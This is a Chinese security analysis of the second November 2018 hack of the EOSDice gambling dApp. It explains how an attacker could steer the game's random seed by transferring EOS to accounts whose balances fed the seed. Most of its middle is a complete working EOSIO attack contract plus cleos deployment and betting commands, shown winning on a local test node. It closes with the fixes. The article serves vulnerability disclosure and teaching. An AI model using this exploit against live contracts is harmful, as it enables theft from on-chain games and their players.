Written by WeaponX@零时科技
本文所有过程均在本地测试节点完成
文章用到的所有代码均在
0x00 背景
零时科技监测到,EOSDice
在2018年11月10日受到黑客攻击,根据EOSDice
官方通告,此次攻击共被盗4,633 EOS
,约合 2.51 万美元(2018年11月10日价格 1 EOS ≈ 5.42 USD)。
0x01 技术分析
2018年11月3日,也就是一周前,EOSDice
因为dApp中存在可被预测随机数漏洞被黑客攻击,在前一篇文章中已经分析过了黑客的攻击手法《》。然而,上次的官方修复仍然存在问题,导致再次被黑客攻击。
我们再来分析一下EOSDice
上次遭受攻击后官方的修复方法:
-
开奖
action
由一次defer
改为两次defer
我们做了一个示意图,
可以看到,通过两次defer action
开奖的时候,开奖action
的refer block
为下注的block
,下注前无法预测。
-
账户的余额用很多账户的总和加起来当成随机数种子
本次修改看似无懈可击,不过还有一点EOSDice
官方没有想到。我们来看看eosio.token
的转账代码。
可以看到,当A账户给B账户转账的时候,转账通知会先发送给A账户,再发送给B账户。那么,黑客可以部署一个攻击合约,当黑客通过此账号来进行游戏的时候,攻击合约肯定先于EOSDice
官方合约收到转账通知。黑客可以同样做一个两次defer action
来预测随机数
下图是利用攻击合约预测随机数。
可以看到,黑客完全可以通过攻击合约来预测随机数的结果。不过,问题来了由于使用了两次defer action
进行开奖,那么这个结果是黑客无法在下注前得到的。因此,黑客要对EOSDice
进行攻击只能另辟蹊径。
因为EOSDice
中,随机数种子是很多账户余额的总和,黑客完全可以通过计算能让黑客稳赢的状态下这个余额的值,然后在给任意账户转账即可控制EOSDice
的随机数结果。下面,我们 编写一个测试合约进行试验
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"
#define EOS_SYMBOL S(4, EOS)
using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;
class attack : public eosio::contract {
public:
uint64_t id = 66;
attack(account_name self):eosio::contract(self)
{}
uint8_t random(account_name name, uint64_t game_id, uint64_t add)
{
auto eos_token = eosio::token(N(eosio.token));
asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());
asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());
asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());
asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());
asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());
asset total_eos = asset(0, EOS_SYMBOL);
total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;
auto amount = total_eos.amount + add;
auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;
print("[ATTACK RANDOM]tapos_block_prefix=>",(uint64_t)tapos_block_prefix(),"|tapos_block_num=>",(uint64_t)tapos_block_num(),"|name=>",name,"|game_id=>",game_id,"|current_time=>",current_time(),"|total=>",amount,"n");
const char *mixedChar = reinterpret_cast<const char *>(&mixd);
checksum256 result;
sha256((char *)mixedChar, sizeof(mixedChar), &result);
uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
return (uint8_t)(random_num % 100 + 1);
}
//@abi action
void transfer(account_name from,account_name to,asset quantity,std::string memo)
{
if (from == N(eosbocai2222))
{
return;
}
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal1),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);
print("[ATTACK] current_time => ", current_time(), "n");
}
//@abi action
void reveal1(uint64_t id)
{
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal2),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);
print("[ATTACK REVEAL1] current_time => ", current_time(), "n");
}
//@abi action
void reveal2(uint64_t id)
{
std::string memo = "noneage";
print("[ATTACK REVEAL2] current_time => ", current_time(), "n");
for(int i=0;i<=100;i++)
{
uint8_t r = random(_self, 87, i);
if((uint64_t)r < 6)
{
print("[PREDICT RANDOM] random = ", (uint64_t)r, "n");
if(i > 0)
{
action(permission_level(_self, N(active)),
N(eosio.token),
N(transfer),
std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))
.send();
}
break;
}
}
}
};
#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token)) {
if( action == N(transfer)){
eosio_assert( code == N(eosio.token), "Must transfer EOS");
}
TYPE thiscontract( self );
switch( action ) {
EOSIO_API( TYPE, MEMBERS )
}
/* does not allow destructor of thiscontract to run: eosio_exit(0); */
}
}
}
EOSIO_ABI_EX( attack,
(transfer)(reveal1)(reveal2)
)
在这个攻击合约里,我们模仿了EOSDice
同样进行了两次defer action
。在第二次defer action
中,我们计算出随机数小于6的情况下,需要的总余额比原先的增加多少,然后利用一个inline action
向eosbiggame44
账户转账,因为攻击合约先于EOSDice
官方合约执行,所以最终控制了EOSDice
的随机数结果。
测试流程:
-
创建相关账户并设置权限
# 攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker@owner
# EOSDice 官方账户
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222@owner
# 其他需要的账户
cleos create account eosio eosio.ram EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio betdiceadmin EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio newdexpocket EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio chintailease EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbiggame44 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
-
向相关账户充值
cleos push action eosio.token issue '["attacker", "1000.0000 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "232323.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosio.ram", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["betdiceadmin", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["newdexpocket", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["chintailease", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbiggame44", "23.2333 EOS", "1"]' -p eosio
-
编译相关合约并部署
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner
# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
-
编译相关合约并部署
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
-
进行游戏
cleos push action eosio.token transfer '["attacker","eosbocai2222","1.0000 EOS", "dice-8-6-user"]' -p attacker@owner
然后,我们来看看测试结果
经过攻击合约多次计算,找到只需要余额比之前多0.0021 EOS
即可让本次投注中奖,然后再向eosbiggame44
转入了0.0021 EOS
,最终中奖,获得了19.7000 EOS
(投入1 EOS
)。
可以看到,利用攻击合约来控制EOSDice
的随机数,可以达到必中的效果!
0x02 官方修复
官方修复很简单,在随机数算法中将账户余额这个可控因子删除了。
上述的攻击合约便无法通过转账控制随机数的结果。
0x03 推荐修复
如何得到安全的随机数是一个普遍的难题,但是在EOS
上尤其困难,因为EOS
并不提供随机数接口。所以随机数的种子必须得自己选择,选择种子的准则就是无法被提前预知。零时科技安全专家推荐参考EOS
官方的随机数生成方法来生成较为安全的随机数
0x04 REFER
本文来自,仅作分享,存在异议请联系平台删除。本文观点不代表刺猬财经 - 刺猬区块链资讯站立场。